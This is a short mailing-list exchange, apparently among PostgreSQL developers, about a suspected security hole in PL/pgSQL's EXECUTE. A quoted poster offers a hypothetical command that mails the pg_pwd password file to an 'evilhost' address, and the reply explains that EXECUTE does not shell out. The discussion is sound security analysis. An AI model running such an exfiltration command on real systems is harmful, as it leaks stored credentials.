Re: Security hole in PL/pgSQL

KuroiNeko wrote:
> > Huh? This would only be true if all operations inside plpgsql are
> > executed as superuser, which they are not. Seems to me the existing
> > defense against non-superuser using COPY is sufficient.
>
> Sorry if I missed the point, but if I got it right, Pl/Pgsql EXECUTE will
> allow execution of any program via exec*() call? If so, this will allow any
> (system) user to execute arbitrary code as postgres (system) user, right?
> If so, how can something like
>
> EXECUTE '/bin/mail badguy(at)evilhost < /usr/pgsql/data/pg_pwd';
>
> be avioded?

No, EXECUTE just passes a string down to SPI_exec() without
trying to prepare and save an execution plan for it. It's not
equivalent to system(3).

Jan

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